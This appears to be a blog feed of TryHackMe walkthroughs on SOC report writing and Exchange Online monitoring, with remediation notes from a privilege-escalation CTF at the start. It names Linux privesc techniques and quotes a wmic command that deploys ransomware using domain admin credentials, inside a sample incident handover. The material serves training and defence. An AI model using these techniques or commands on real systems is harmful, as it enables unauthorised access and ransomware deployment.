<li>PATH hijacking with SUID binaries — if a SUID binary calls a command by name (not full path), placing a fake version earlier in <code>$PATH</code> runs your code with the binary's elevated privileges</li>
<li>Linux capabilities as a privesc vector — <code>cap_setuid</code> on perl is as good as a SUID binary; always run <code>getcap -r / 2&gt;/dev/null</code> in your enumeration checklist</li>
<li>Group context matters — the perl privesc failed until SSHing in directly as hatter to inherit the correct group membership</li>
</ul>
<h3>Remediation:</h3>
<ul>
<li>Avoid embedding credentials in HTML, even in hidden elements</li>
<li>Pin library imports using absolute paths or virtual environments in sensitive scripts</li>
<li>Avoid calling system binaries by name in SUID/capability-enabled programs; use full absolute paths</li>
<li>Audit Linux capabilities regularly — <code>cap_setuid</code> on interpreters like Perl or Python should never appear in production</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Report Writing for SOC L2 (TryHackMe)]]></title><description><![CDATA[Introduction
As you move into a senior (Level 2) analyst role, the scope of your responsibilities shifts. Technical alert triage is still part of the job, but your findings now need to reach people be]]></description><link>https://www.sharonjebitok.com/report-writing-for-soc-l2-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/report-writing-for-soc-l2-tryhackme</guid><category><![CDATA[SOC-L2]]></category><category><![CDATA[report-writing-socl2]]></category><category><![CDATA[generative-ai-in-soc]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Thu, 26 Mar 2026 19:52:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/836c3bb3-849c-4251-8402-1c3a639e7e21.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>As you move into a senior (Level 2) analyst role, the scope of your responsibilities shifts. Technical alert triage is still part of the job, but your findings now need to reach people beyond the SOC, through formal case reports. This room explores the report writing skills that make you effective at the Level 2 role and beyond.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Understand the purpose and value of professional reports</p>
</li>
<li><p>Explore SOC report templates for various target audiences</p>
</li>
<li><p>Learn how AI helps with report writing, and what the pitfalls are</p>
</li>
<li><p>Practice the acquired knowledge in two interactive simulations</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<ul>
<li>No formal prerequisites, but the room suits best for L1+ analysts</li>
</ul>
<h2>L1 vs L2 Communication</h2>
<h2><strong>Responsibilities of Level 2</strong></h2>
<p>SOC Level 2 is as much about communication as it is about technical skill. L1 analysts can do an outstanding job triaging alerts, but if those findings aren't communicated clearly, they have no value in the real world. As L2, your job is to turn SOC notes into something actionable: a precise summary report that colleagues, customers, or management can act on. Your report writing skills can decide whether an intrusion is stopped in time.</p>
<table>
<thead>
<tr>
<th><strong>L2 reports must sound credible and professional. Your report is how the outside world sees your SOC.</strong></th>
</tr>
</thead>
</table>
<p>In most SOC teams, L1 analysts communicate almost exclusively within the team itself: writing ticket notes, escalating alerts, and handing off to colleagues. For L2 analysts, this changes significantly: the role carries broader responsibility, and with it comes a higher need for soft skills. Depending on the organization and the severity of an incident, an L2 analyst may find themselves communicating with:</p>
<ul>
<li><p><strong>Top management (C-level)</strong>: To present an incident summary or a quarterly SOC report</p>
</li>
<li><p><strong>External MSSP customers</strong>: To report a detected intrusion and agree on next steps</p>
</li>
<li><p><strong>DFIR, CTI, or InfoSec teams</strong>: To hand over the SOC findings and attack indicators</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6093e17fa004d20049b6933e/room-content/6093e17fa004d20049b6933e-1746290630296.png" alt="A flat-style illustration of a businessman in a dark suit and red tie, wearing glasses, holding a red clipboard with a long document or receipt trailing down." style="display:block;margin:0 auto" />

<p><em>You will need to adjust your writing style for the right audience to succeed in a SOC</em></p>
<h2><strong>L2 Report Types</strong></h2>
<p>The L1 analysts don't create formal external reports and operate around short alert comments and escalation notes (200-500 characters per alert). During routine days, the L2 analysts don't go beyond that metric, too. But when something serious happens, they might need to write more formal reports, such as:</p>
<ul>
<li><p><strong>Case summary for C-level</strong>:  A business-focused, non-technical overview of the incident that occurred</p>
</li>
<li><p><strong>Email to the MSSP customer</strong>: A formal, actionable summary of what happened and what to do next</p>
</li>
<li><p><strong>DFIR team handover notes</strong>: A list of your findings from SIEM/EDR to help the bigger forensics efforts</p>
</li>
</ul>
<p><em>In the next tasks, we will explore best practices for every type of SOC L2 communication</em></p>
<h2><strong>Communication Channels</strong></h2>
<p>Lastly, L2 analysts need to choose the right channel for reporting. Let's see the common options below:</p>
<table>
<thead>
<tr>
<th><strong>Channel</strong></th>
<th><strong>Purpose</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>Voice Call</strong></td>
<td>Used for urgent situations requiring an immediate response. For accountability, phone or Zoom calls are typically followed up with an email summary.</td>
</tr>
<tr>
<td><strong>Email Letter</strong></td>
<td>Security-related updates and incidents should always be communicated via email, with all relevant parties copied (CC) to ensure a clear audit trail.</td>
</tr>
<tr>
<td><strong>Ticketing System</strong></td>
<td>Bigger MSSPs have dedicated ticketing systems and customer portals (e.g. Jira ITSM) that are used instead of regular email threads.</td>
</tr>
<tr>
<td><strong>Corporate Chat</strong></td>
<td>Ideal for internal and informal discussions. Same as with voice calls, key decisions and incident findings should still be summarized via email.</td>
</tr>
</tbody></table>
<p><strong>Note</strong>: Every company builds its own workflows, so the table above might not be applicable to every SOC or MSSP.</p>
<h3>Answer the questions below</h3>
<p>Which SOC tier, L1 or L2, bridges the SOC and the outside world? <code>L2</code></p>
<p>What do L2 analysts write to summarize SOC findings (one word)? <code>Reports</code></p>
<h2>Leadership Communication</h2>
<h2><strong>Reporting to Company Leadership</strong></h2>
<p>The internal SOC team always reports to a C-level position, such as CTO, CISO, or even CEO. Whenever your SOC handles (or misses) an intrusion that causes business impact, you need to explain it to the leadership. You might also need to prepare periodic reports on SOC effectiveness or write a formal request to purchase or replace a security solution. The key rules you need to remember during C-level communication are:</p>
<ul>
<li><p><strong>Focus on business</strong>: Focus on what's important for the company, not just SOC.</p>
</li>
<li><p><strong>Use formal tone</strong>: Speak and write as an independent expert, not as an old friend.</p>
</li>
<li><p><strong>Keep it simple</strong>: Avoid jargon and terminology; your audience is non-technical.</p>
</li>
<li><p><strong>Talk in facts:</strong> Keep evidence for your statements (screenshots, snapshots, links).</p>
</li>
<li><p><strong>Don't panic</strong>: During incidents, show that the situation is fully under SOC control.</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773591396440.png" alt="SOC analyst presents a Security Incident Report to executives (CTO, CISO, CEO), showing business impact, root cause analysis, SIEM logs, and actions taken to resolve the security incident." style="display:block;margin:0 auto" />

<h2><strong>Contacting MSSP Customers</strong></h2>
<p>If your SOC operates as an MSSP, you may be communicating with dozens of customers every day. As an L2 analyst, one of the most frequent and important tasks you have is reporting security threats to the customers. This should always be done through an official channel, typically email, with SOC colleagues and customer representatives in copy, so there is a clear and shared record of every communication. Let's imagine a scenario from an OpenDoor customer:</p>
<ol>
<li>The Scenario</li>
</ol>
<p>The L1 analyst escalates a critical alert to you about a data stealer on LPT-007 You investigate the alert deeper and find out the affected developer, bob.phisher You confirm the impact of the incident: the stored AWS access keys have been stolen You remediate the malware and isolate the laptop, but can't "unsteal" the AWS keys You urgently contact the customer and explain how to invalidate the stolen AWS keys 2. The Initial Report</p>
<p>Your immediate task is to start the response within the SLA. For this, you collect what you know so far and send a report to the customer. At this stage, the report doesn't need to explain the whole incident, but must highlight the urgency of the incident, explain what the customer must do to stop it, and when to expect more updates from your team. The goal of the initial report is to start threat containment as soon as possible. See the email example below:</p>
<p>✉ The Initial Report Email Flowchart showing 4 steps: Highlight the urgency, Summarize the case, Suggest customer actions, Explain your next steps. 3. The Final Report</p>
<p>After the initial report, communication becomes ongoing: you share deeper findings, while the customer provides additional context from their side. Once all information has been gathered, you prepare a final report. The goal of the final report is to act as a formal proof that your work on the incident is over, and answer all questions the customer may have, such as how the attack started or why your SOC missed the threat. See the email example below:</p>
<p>✉ The Final Report Email Flowchart of 7 questions a final report must answer: How did the attack start, Who or what was affected, Is the attack still ongoing, What is the known impact, Why your SOC missed it, What will SOC do next, How to prevent reinfection. Challenge</p>
<p>View Site Open the website above, review this executive report, and correct what's not right for the target audience by clicking on the highlighted parts. Once you're done, receive the flag for Question 3. For a better experience on small screens, consider opening the website in full-screen mode.</p>
<p>Static site image.</p>
<h3>Answer the questions below</h3>
<p>Should you complete the analysis after sharing the initial SOC report? (Yea/Nay) <code>Yea</code></p>
<p>Correct Answer Should you keep your team informed about the ongoing communication? (Yea/Nay) <code>Yea</code></p>
<p>What flag did you receive after completing the task's challenge?</p>
<ul>
<li><p>Missing recipient - the emails</p>
<ul>
<li>Your SOC team should always be informed about the incident thread.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c76c4232-9078-4714-9e6e-250476c467b5.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>missing context - a login</p>
<ul>
<li>It doesn’t say what service or system was logged into. VPN? M365 portal?</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/962ec550-14b9-46cd-834a-f0d0342afb96.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Perform data wipe of the Tim Balmer’s laptop (SN: X12157690)</p>
<ul>
<li>The response is too harsh and unnecessary for what’s known right now.</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/62d2f73f-abd5-448a-98b8-ab39a3f2078a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Don’t ignore this email</p>
<ul>
<li><p>unprofessional language</p>
<ul>
<li>the text sounds unprofessional and even rude in some contexts</li>
</ul>
</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f1160008-5a65-4734-afe2-9755431e2a12.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>once we finalize it</p>
<ul>
<li><p>unclear timeline</p>
<ul>
<li>you should aim to set real expectations: 30 minutes, 2 hours, end of day</li>
</ul>
</li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f75677d9-d19f-4b64-aec1-fc71b771e0a2.png" alt="" style="display:block;margin:0 auto" />

<h2>SOC/DFIR Communication</h2>
<h2><strong>SOC and DFIR Relationship</strong></h2>
<p>The Digital Forensics and Incident Response (DFIR) team is like a fire department. Whenever a major incident happens, and regular logs aren't enough, they join the efforts and often take the incident ownership over SOC analysts. In smaller companies, SOC and DFIR teams are typically a single entity, and the communication is simple and casual. In bigger ones, they are independent, and the communication becomes more formal. Let's imagine a scenario:</p>
<ol>
<li><p>Your MSSP has just started the onboarding and covers 10% of <strong>OpenDoor's</strong> AD network</p>
</li>
<li><p>You received a critical <strong>Ransomware Infection</strong> alert from the monitored part of the network</p>
</li>
<li><p>The evidence leads you to the conclusion that the whole AD network is being encrypted</p>
</li>
<li><p>You isolate what you can, call the customer, and suggest shutting down all their servers</p>
</li>
<li><p>OpenDoor urgently hires a DFIR team from <strong>TrySaveMe</strong> to take over the critical incident</p>
</li>
<li><p>You are asked to hand over all findings and indicators you found in SIEM to TrySaveMe</p>
</li>
</ol>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1772827185634.png" alt="This is fine meme showing a cartoon dog calmly sitting at a table with coffee while surrounded by fire, captioned Time to Call DFIR Team." style="display:block;margin:0 auto" />

<h2><strong>DFIR Handover Notes</strong></h2>
<p>Unlike C-level leadership and MSSP customers, DFIR team members focus less on style and language, but more on raw facts and evidence. They would expect actionable TTPs and attack artifacts from you so that they could start where you ended; one page of your SIEM findings would be more valuable than ten pages of filler text. In our example, TrySaveMe would be interested in:</p>
<ul>
<li><p><strong>Incident Context</strong>: How everything started and what log sources your SOC monitors</p>
</li>
<li><p><strong>Attack Timeline</strong>: When and where the attack started, and how it continued step by step</p>
</li>
<li><p><strong>Attack Scope</strong>: All you know about the affected hosts, users, and other related assets</p>
</li>
<li><p><strong>Performed Actions</strong>: What response actions have you or the customer already done</p>
</li>
<li><p><strong>Raw Indicators</strong>: IPs, domains, hashes, scripts, tools, and other IoCs you identified</p>
</li>
</ul>
<p><strong>Handover Notes Example</strong></p>
<p>Internal notes are often shared on a voice call or through an informal chat channel. However, in our scenario, TrySaveMe is an external DFIR team, so you'd better communicate via email for accountability and legal purposes. Also, keep in mind that DFIR teams rarely need generic recommendations; they are experts and just need the findings and facts. Below is an example of handover notes you can prepare:</p>
<table style="min-width:25px"><colgroup><col style="min-width:25px"></col></colgroup><tbody><tr><td><p></p></td></tr></tbody></table>

<p><strong>✉ DFIR Handover Notes: OpenDoor Inc.</strong></p>
<p><strong>To:</strong> <a href="mailto:dfir@trysaveme.thm">dfir@trysaveme.thm</a>, <a href="mailto:soc@tryhackme.thm">soc@tryhackme.thm</a></p>
<p><strong>Subject:</strong> [Handover Notes] Ransomware Attack on OpenDoor Inc.</p>
<p><strong>Case Summary</strong></p>
<p>OpenDoor Inc. is actively experiencing a ransomware attack targeting their Active Directory environment. SOC visibility covers 10% of the environment, where ransomware deployment was prevented. The remaining 90% of the environment is presumed encrypted. The customer has been notified, and the data center has been fully shut down as a containment measure. Incident timeline and reference links below:</p>
<ul>
<li><p>[Customer's wiki page with AD network diagrams and subnet ranges]</p>
</li>
<li><p>[Document with monitored servers; SIEM, EDR, and other tools in use]</p>
</li>
<li><p>[Links to the received SOC alerts (e.g., in SIEM or a ticketing platform)]</p>
</li>
</ul>
<p><strong>Mar 6, 07:15 UTC | WEB-01</strong><br />Automated HTTP recon originating from 204.17.98.56 targeting portal.opendoor.thm, a corporate website hosted on WEB-01, an AD-joined IIS server at London HQ (10.0.0.5). The IIS process was running under NT AUTHORITY\SYSTEM.</p>
<p><strong>Mar 6, 07:32 UTC | WEB-01</strong><br />Attacker exploited an unrestricted file upload vulnerability in /feedback/form.php on the website to upload a PHP web shell (shell.php) via HTTP POST. The web shell was used to execute discovery commands (whoami, ipconfig, systeminfo) and drop an unidentified C2 binary (beacon.exe) to C:\Windows\.</p>
<p><strong>Mar 6, 07:45 UTC | WEB-01</strong><br />The C2 binary was persisted via a scheduled task named \TelemetryService, created using schtasks.exe. The beacon.exe beacons to 211.19.12.34:8080 every minute. No further malicious activity was observed within, but note that our monitoring breadth and depth are very limited.</p>
<p><strong>Mar 6, 08:22 UTC | INT-FS-02</strong><br />Critical EDR alert triggered on INT-FS-02 (Windows file server, 10.0.0.82, same subnet as WEB-01) for C:\gaze.exe, identified as Medusa ransomware. The binary was delivered via WMI from 10.0.0.96 (unknown host) using domain Administrator credentials. Full command: <code>wmic /node:INT-FS-02 /user:CORP\Administrator /password:Welcome! process call create "cmd.exe /c C:\gaze.exe"</code>. EDR successfully blocked execution.</p>
<p><strong>SOC Response</strong><br />Upon triage of the INT-FS-02 alert, SOC assumed that WMI ransomware deployment was likely in progress across all customer hosts. All monitored endpoints, including WEB-01 and INT-FS-02, were isolated. The customer was contacted by phone; they confirmed that some servers were already unresponsive. According to our recommendations, the customer shut down the entire HQ data center to stop ransomware deployment.</p>
<p><strong>Indicators</strong></p>
<ul>
<li><p>Web shell file: shell.php</p>
</li>
<li><p>Web shell user (IP): 204.17.98.56</p>
</li>
<li><p>C2 file: C:\Windows\beacon.exe</p>
</li>
<li><p>C2 MD5: ed1bb069b0bd52698b8c9ae9a397b343</p>
</li>
<li><p>C2 persistence (task): \TelemetryService</p>
</li>
<li><p>C2 IP: 211.19.12.34:8080</p>
</li>
<li><p>Ransomware file: C:\gaze.exe</p>
</li>
<li><p>Ransomware MD5: 5dacf83e155e11b0cf721dd9c60646d3</p>
</li>
<li><p>Ransomware origin host: 10.0.0.96</p>
</li>
</ul>
<table style="min-width:25px"><colgroup><col style="min-width:25px"></col></colgroup><tbody><tr><td><p></p></td></tr></tbody></table>

<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1774398011387.svg" alt="A four-step horizontal flowchart: &quot;Your handover notes must be&quot; → Chronological → Actionable → Concise, connected by green arrows on a dark navy background." style="display:block;margin:0 auto" />

<h2><strong>Challenge</strong></h2>
<p>View Site</p>
<p>Open the website above, review the handover notes to the DFIR team, and correct any mistakes you find by clicking on the highlighted parts. Once you're done, receive the flag for Question 3. For a better experience on small screens, consider opening the website in full-screen mode.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1774370111042.png" alt="Static site image." style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9e388d18-7d2a-4676-ad17-a643ba98ad79.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>Are L2 handover notes meant for a non-technical audience? (Yea/Nay) <code>Nay</code></p>
<p>What part of the handover notes lists your findings chronologically? <code>Attack Timeline</code></p>
<p>What flag did you receive after completing the task's challenge?</p>
<ul>
<li><code>unnecessary text:</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ce1c8fb9-2b1f-49f3-88a3-72902decb3db.png" alt="" style="display:block;margin:0 auto" />

<p><code>2 - ambiguous phrasing</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2a89a71d-1869-4853-81b9-c9606649749a.png" alt="" style="display:block;margin:0 auto" />

<p><code>missing actor - was executed</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/22160c16-df25-4250-b696-5f2dc1974a8c.png" alt="" style="display:block;margin:0 auto" />

<p><code>was exfiltrated - no eveidence</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/09f70566-75f5-41d0-84c3-1afc99ff4eb6.png" alt="" style="display:block;margin:0 auto" />

<p><code>other IPS - missing context</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/8433f83d-e9b3-41c2-aad5-1f8f09bcaf4b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2049d3bd-c358-461c-a492-ae72d8a71b18.png" alt="" style="display:block;margin:0 auto" />

<h2>Responsible AI Usage</h2>
<p>AI in SOC Report Writing Think about how much time you'd need to write reports similar to those in the previous tasks. Even if you already have the attack chain in your head, translating it to a formal report might take half an hour, or even more if English is not your native language. This is where GenAI can help: you feed your notes and report requirements to a prompt, and receive a well-structured report in the output.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5c147a2a-eca3-4d53-8d19-14dc39897178.png" alt="" style="display:block;margin:0 auto" />

<h2>Importance of Case Context</h2>
<p>The quality of an AI-assisted report depends on the LLM model and context you provide. Ideally, your prompt should fit into the model's context window, include your requirements for report style and size, and contain the following context:</p>
<p>Customer profile: Industry, size, unique MSSP contract agreements Asset details: Role of the server or position of the affected employee Threat intelligence: Enriched TI reports about the observed indicators Historical context: Summaries and outcomes of past similar incidents Monitoring notes: Interesting False Positives cases or SIEM specifics AI is only as good as what you feed it. Experiment and find your "golden prompts". Responsible AI Usage While GenAI does a great job at summarizing the incident and setting the right style for the audience, its results must always be verified, especially if the report is sent outside of your team. The customers won't care if you used AI or not, but it is fully your responsibility to send a correct, professional report. The main pitfalls you can have with using AI-assisted reports are:</p>
<ol>
<li>Sensitive Data Exposure</li>
</ol>
<p>First of all, don't forget that all data you paste on the Internet becomes out of your control, and GenAI prompts are no exception. If your team uses cloud GenAI services instead of relying on self-hosted models, you must ensure that the confidential data is not pasted into prompts, especially the data of your MSSP customers and hardcoded credentials (e.g., in the process command line).</p>
<ol>
<li>Too Much Filler Text</li>
</ol>
<p>GenAI excels at generating text, but the report readers need not just any text but actionable instructions. A customer might scroll through 10 pages of the report and still not find any attack indicators or applicable recommendations. That's an indicator of a bad report. Your primary task is to keep the report structured and actionable - not big and complex.</p>
<ol>
<li>GenAI Hallucinations</li>
</ol>
<p>Imagine your company uses a security tool that reads password hashes of domain users and checks if they are found in public data leaks. If you feed the behavior of the tool to the AI, it will surely panic, alert on credential dumping malware, and recommend isolating the host. To avoid such scenarios, you should provide enough context, including the tool documentation.</p>
<ol>
<li>Destructive Containment</li>
</ol>
<p>I once had a security incident, where attackers injected malware code into Windows Explorer's memory and the AI assistant recommended quarantining the explorer.exe binary. At first, it sounds correct: a binary did malicious action, so let's block it. However, since Explorer is a core OS component, such action will completely break the system and still not remediate the threat. Be very careful with trusting AI regarding containment and eradication.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5e43d436-ce7a-45ca-a46b-8e29ca707682.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>What should you provide in the AI prompt to get the best reports? <code>Context</code></p>
<p>Should you fully rely on GenAI for critical decision making? (Yea/Nay) <code>Nay</code></p>
<h2>Conclusion</h2>
<p>Communication becomes more critical as you move up to L2 and beyond. Even if you are a security expert, the employees and customers you protect can't act without clear, simple guidance from you. Don't underestimate report writing, as it is a core skill for L2 and further leadership roles. Also, if you plan to take the SAL2 exam, check out the section below. Either way, we hope you enjoyed the room!</p>
<p><strong>SAL2 Exam Tips</strong></p>
<p>Real-world external communication is often chaotic: you miss details and send follow-ups, customer misunderstands your suggestions and asks for a call, DFIR team doesn't wait for your notes and starts independently. The SAL2 exam does not account for these edge cases and expects one clean report, written once, after reviewing the incident. That means a few special rules apply:</p>
<ul>
<li><p>Fully investigate the threat first and then start writing the report (no follow-ups)</p>
</li>
<li><p>Merge the initial and final reports into one complete email for a C-level audience</p>
</li>
<li><p>Analyse all logs available before sharing handover notes with the DFIR team</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Exchange Online Monitoring (TryHackMe)]]></title><description><![CDATA[Introduction
Email is a critical communication channel in any organisation, which makes it a prime target for attackers. Once a mailbox is compromised, attackers can read emails, exfiltrate sensitive ]]></description><link>https://www.sharonjebitok.com/exchange-online-monitoring-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/exchange-online-monitoring-tryhackme</guid><category><![CDATA[sharepoint-online-monitoring]]></category><category><![CDATA[Microsoft Exchange Online]]></category><category><![CDATA[Entra ID]]></category><category><![CDATA[Splunk]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Thu, 26 Mar 2026 19:20:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9f4d719b-fded-4312-91ca-0f291b9626f3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Email is a critical communication channel in any organisation, which makes it a prime target for attackers. Once a mailbox is compromised, attackers can read emails, exfiltrate sensitive data, and even weaponise the account to launch different phishing campaigns. This room will explore how attackers abuse Microsoft Exchange Online post-compromise and how SOC analysts can detect these attacks using Splunk.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Understand how Exchange Online generates logs and where to find them</p>
</li>
<li><p>Identify suspicious mailbox rules creation and email forwarding</p>
</li>
<li><p>Detect phishing campaigns launched from compromised mailboxes</p>
</li>
<li><p>Use message trace and audit logs to scope an incident</p>
</li>
<li><p>Investigate a real-world Exchange Online compromise</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<ul>
<li><a href="https://tryhackme.com/room/entraidmonitoring">Entra ID Monitoring</a></li>
</ul>
<h2>Exchange Online Overview</h2>
<p>Exchange Online is Microsoft's cloud-based email and calendaring service, part of the Microsoft 365 suite. You may also know it as <strong>Outlook.</strong> Unlike traditional on-premise Exchange servers, which require organisations to manage their own mail infrastructure, Exchange Online is fully hosted and maintained by Microsoft.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772702668484.png" alt="Exchange admin center showing all the mailboxes." style="display:block;margin:0 auto" />

<h2><strong>What Happens When Exchange Online is Compromised?</strong></h2>
<p>Email is a critical part of every organisation. It contains sensitive business communications, financial data, credentials, and personal information. This makes Exchange Online a prime target for attackers. Once inside a mailbox, an attacker has access to a goldmine of information and a powerful platform to launch further attacks.</p>
<p>While every attack is different, security researchers and SOC analysts have observed a common pattern in Exchange Online compromises. A typical attack chain looks like this:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1774006561741.png" alt="Typical attack chain during exchange online compromise showing Credential Theft, Initial Access, Discovery, Persistence, and Lateral Movement." style="display:block;margin:0 auto" />

<ul>
<li><p><strong>Credential Theft:</strong> Before gaining access, the attacker first obtains valid credentials. This typically happens through phishing emails, credential-stuffing attacks using leaked password databases, or the purchase of stolen credentials from dark web marketplaces.</p>
</li>
<li><p><strong>Initial Access:</strong> Using the stolen credentials, the attacker authenticates to Microsoft 365 and gains access to the victim's Exchange Online mailbox. This authentication is processed through Entra ID and leaves a trace in sign-in logs.</p>
</li>
<li><p><strong>Discovery:</strong> Once inside, the attacker explores the mailbox. They read emails to understand the organisation, identify sensitive information, find other potential targets, and gather intelligence that can be used for further attacks.</p>
</li>
<li><p><strong>Persistence:</strong> To maintain long-term access even if the victim changes their password, the attacker sets up mechanisms to keep receiving data. This includes creating forwarding rules to silently copy all incoming emails to an external address, or setting up inbox rules to delete specific emails so the victim stays unaware.</p>
</li>
<li><p><strong>Lateral Movement:</strong> Finally, the attacker weaponises the compromised account. By sending phishing emails from a trusted internal address, they can bypass email security filters and trick colleagues into clicking malicious links or revealing their own credentials.</p>
</li>
</ul>
<p>Not every attacker follows this exact sequence, and some steps may be skipped or reordered. However, understanding this pattern gives SOC analysts a solid foundation for investigating Exchange Online incidents. In the upcoming tasks, we will explore the logs generated by each of these activities, learn how to detect them in Splunk, and ultimately investigate a real-world Exchange Online compromise from start to finish.</p>
<h3>Answer the questions below</h3>
<p>Which attack stage involves sending phishing emails from a compromised account to other employees? <code>Lateral Movement</code></p>
<h2>Exchange Online Logging</h2>
<p>SOC analysts investigate Exchange Online compromises using three main log sources: Exchange Online sign-in logs, M365 unified audit logs, and message trace logs. Each reveals a different aspect of the incident.</p>
<p><strong>Note:</strong> Before we explore the Splunk queries for these logs, it is important to note that all of these queries are intended to be applied for "All time" in this room.</p>
<h2><strong>Exchange Online Sign-In Logs</strong></h2>
<p>Every time a user accesses Exchange Online, they first authenticate through Entra ID. This authentication generates a sign-in event regardless of whether the login was successful. These logs are invaluable during an investigation because they tell you who tried to access the account, from which IP and location, whether the attempt succeeded or failed, and some other valuable details.</p>
<p>In Splunk, Exchange Online sign-in logs can be queried using:</p>
<table>
<thead>
<tr>
<th><strong>Investigate Exchange Online Sign-in Logs</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* sourcetype="azure:aad:signin" appDisplayName="One Outlook Web"
| table _time userPrincipalName appDisplayName ipAddress location.city status.errorCode
| sort - _time
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1774004305908.png" alt="Exchange Online Signin Logs in Splunk" style="display:block;margin:0 auto" />

<h2><strong>M365 Unified Audit Logs</strong></h2>
<p>Once authenticated, any action the user performs inside Exchange Online is recorded in the Microsoft 365 unified audit logs. These logs capture mailbox activities such as emails sent, inbox rules created, forwarding settings changed, and mailbox access events.</p>
<p>In Splunk, Exchange Online audit logs can be queried using:</p>
<table>
<thead>
<tr>
<th><strong>Investigate Exchange Online audit logs</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=* sourcetype="o365:management:activity" Workload=Exchange
| table _time UserId Operation Workload
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6645aa8c024f7893371eb7ac/room-content/6645aa8c024f7893371eb7ac-1772725427360.png" alt="Splunk showing Exchange audit log with Operation and Workload fields visible" style="display:block;margin:0 auto" />

<p>The <code>Workload</code> field identifies which Microsoft 365 service generated the event. For Exchange Online activities, this will always be <code>Exchange</code>. The <code>Operation</code> field tells you exactly what action was performed. The most important operations to know for this room are:</p>
<table>
<thead>
<tr>
<th><strong>Operation</strong></th>
<th><strong>Description</strong></th>
<th><strong>Why does it matter?</strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>MailItemsAccessed</code></td>
<td>Someone accessed and read emails in the mailbox</td>
<td>Helps identify if an attacker has read sensitive emails after gaining access</td>
</tr>
<tr>
<td><code>Send</code></td>
<td>An email was sent from the mailbox</td>
<td>Detects phishing emails sent from a compromised internal account</td>
</tr>
<tr>
<td><code>New-InboxRule</code></td>
<td>A new inbox rule was created</td>
<td>Attackers create rules to delete replies or forward emails to hide their activity</td>
</tr>
<tr>
<td><code>Set-InboxRule</code></td>
<td>An existing inbox rule was modified</td>
<td>Attackers may modify existing rules to avoid detection instead of creating new ones</td>
</tr>
<tr>
<td><code>Set-Mailbox</code></td>
<td>Mailbox settings were changed, including forwarding</td>
<td>Used by attackers to configure silent email forwarding to an external address</td>
</tr>
<tr>
<td><code>Add-MailboxPermission</code></td>
<td>Delegate access was granted to another user</td>
<td>A common persistence method by which attackers grant themselves access to return to the mailbox even after a password reset</td>
</tr>
</tbody></table>
<h2><strong>Message Trace Logs</strong></h2>
